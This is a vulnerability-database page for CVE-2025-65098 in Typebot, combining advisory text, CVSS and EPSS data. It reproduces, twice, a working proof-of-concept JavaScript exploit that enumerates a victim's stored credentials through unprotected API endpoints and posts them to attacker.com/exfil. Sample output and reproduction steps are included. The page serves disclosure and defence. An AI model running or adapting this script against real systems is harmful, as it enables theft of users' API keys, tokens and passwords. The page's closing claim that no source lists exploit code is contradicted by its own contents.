CVE-2025-65098

Typebot Vulnerable to Credential Theft via Client-Side Script Execution and API Authorization Bypass

7.4 HighFix available

Typebot is an open-source chatbot builder. In versions prior to 3.13.2, client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership. Version 3.13.2 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: Required

What an attacker can affect

Confidentiality: High
Integrity: None
Availability: None

Exploit likelihood

0.34%Up 0.3 points since Jan 23, 2026

What each source reports

CVE List Score used 7.4

Typebot Vulnerable to Credential Theft via Client-Side Script Execution and API Authorization Bypass

Record: CVE-2025-65098
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-79, CWE-200, CWE-284, CWE-311, CWE-522, CWE-639, CWE-862
Updated: 2026-11-02

EUVDEUVD-2026-4135 7.4

Record: EUVD-2026-4135
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-4xc5-wfwc-jw47 7.4

Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass

Summary

Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership

Details

The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.

The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:

GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}

Response:
{
  "result": {
    "data": {
      "json": {
        "name": "My OpenAI Key",
        "data": { "apiKey": "sk-proj-abc123...xyz789" }
      }
    }
  }
}

The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

Vulnerable file: packages/embeds/js/src/features/blocks/logic/script/executeScript.ts

PoC

Here's how to reproduce:

Create a new typebot in the Builder
Add a Script block and enable "Execute on client"
Paste this code:

const exfil = async () => {
  const data = { credentials: [] };

  const list = await fetch(
    "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
      encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
    { credentials: "include" }
  );
  const creds = (await list.json()).result?.data?.json?.credentials || [];

  for (const c of creds) {
    const full = await fetch(
      "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
        ),
      { credentials: "include" }
    );
    const d = await full.json();
    data.credentials.push({
      name: d.result.data.json.name,
      type: c.type,
      apiKey: d.result.data.json.data.apiKey,
      fullData: d.result.data.json.data,
    });
  }

  const ws = await fetch(
    "https://app.typebot.io/api/trpc/workspace.listWorkspaces",
    { credentials: "include" }
  );
  const workspaces = (await ws.json()).result.data.json.workspaces;

  for (const w of workspaces) {
    const wsList = await fetch(
      "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
        ),
      { credentials: "include" }
    );
    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];

    for (const c of wsCreds) {
      const full = await fetch(
        "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
          encodeURIComponent(
            JSON.stringify({
              json: {
                workspaceId: w.id,
                scope: "workspace",
                credentialsId: c.id,
              },
            })
          ),
        { credentials: "include" }
      );
      const d = await full.json();
      data.credentials.push({
        workspace: w.name,
        name: d.result.data.json.name,
        type: c.type,
        fullData: d.result.data.json.data,
      });
    }
  }

  await fetch("https://attacker.com/exfil", {
    method: "POST",
    body: JSON.stringify(data),
  });
};
await exfil();

Share typebot with victim
When victim clicks "Run" to preview, script executes
All credentials exfiltrated in plaintext:

{
  "credentials": [
    {
      "name": "My OpenAI",
      "type": "openai",
      "apiKey": "sk-proj-abc123...",
      "fullData": { "apiKey": "sk-proj-abc123..." }
    },
    {
      "workspace": "Company Workspace",
      "name": "Google Sheets",
      "type": "google-sheets",
     …

Record: GHSA-4xc5-wfwc-jw47
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-79
Updated: 2026-11-02

NVD 7.4

Record: CVE-2025-65098
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-79, CWE-200, CWE-284, CWE-311, CWE-522, CWE-639, CWE-862
Updated: 2026-11-02

OSV 7.4

Typebot Vulnerable to Credential Theft via Client-Side Script Execution and API Authorization Bypass

Record: CVE-2025-65098
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-200, CWE-284, CWE-311, CWE-522, CWE-639, CWE-79, CWE-862
Updated: 2026-11-02

OSVGHSA-4xc5-wfwc-jw47 7.4

Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass

Summary

Details

The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.

The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:

GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}

Response:
{
  "result": {
    "data": {
      "json": {
        "name": "My OpenAI Key",
        "data": { "apiKey": "sk-proj-abc123...xyz789" }
      }
    }
  }
}

The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

Vulnerable file: packages/embeds/js/src/features/blocks/logic/script/executeScript.ts

PoC

Here's how to reproduce:

Create a new typebot in the Builder
Add a Script block and enable "Execute on client"
Paste this code:

const exfil = async () => {
  const data = { credentials: [] };

  const list = await fetch(
    "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
      encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
    { credentials: "include" }
  );
  const creds = (await list.json()).result?.data?.json?.credentials || [];

  for (const c of creds) {
    const full = await fetch(
      "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
        ),
      { credentials: "include" }
    );
    const d = await full.json();
    data.credentials.push({
      name: d.result.data.json.name,
      type: c.type,
      apiKey: d.result.data.json.data.apiKey,
      fullData: d.result.data.json.data,
    });
  }

  const ws = await fetch(
    "https://app.typebot.io/api/trpc/workspace.listWorkspaces",
    { credentials: "include" }
  );
  const workspaces = (await ws.json()).result.data.json.workspaces;

  for (const w of workspaces) {
    const wsList = await fetch(
      "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
        ),
      { credentials: "include" }
    );
    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];

    for (const c of wsCreds) {
      const full = await fetch(
        "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
          encodeURIComponent(
            JSON.stringify({
              json: {
                workspaceId: w.id,
                scope: "workspace",
                credentialsId: c.id,
              },
            })
          ),
        { credentials: "include" }
      );
      const d = await full.json();
      data.credentials.push({
        workspace: w.name,
        name: d.result.data.json.name,
        type: c.type,
        fullData: d.result.data.json.data,
      });
    }
  }

  await fetch("https://attacker.com/exfil", {
    method: "POST",
    body: JSON.stringify(data),
  });
};
await exfil();

Share typebot with victim
When victim clicks "Run" to preview, script executes
All credentials exfiltrated in plaintext:

{
  "credentials": [
    {
      "name": "My OpenAI",
      "type": "openai",
      "apiKey": "sk-proj-abc123...",
      "fullData": { "apiKey": "sk-proj-abc123..." }
    },
    {
      "workspace": "Company Workspace",
      "name": "Google Sheets",
      "type": "google-sheets",
     …

Record: GHSA-4xc5-wfwc-jw47
CVSS 3.1: 7.4 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-79
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`@typebot.io/js` npm	before 0.9.15	0.9.15

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-65098 is a high vulnerability (CVSS 7.4) in Typebot, published January 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in @typebot.io/js 0.9.15.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.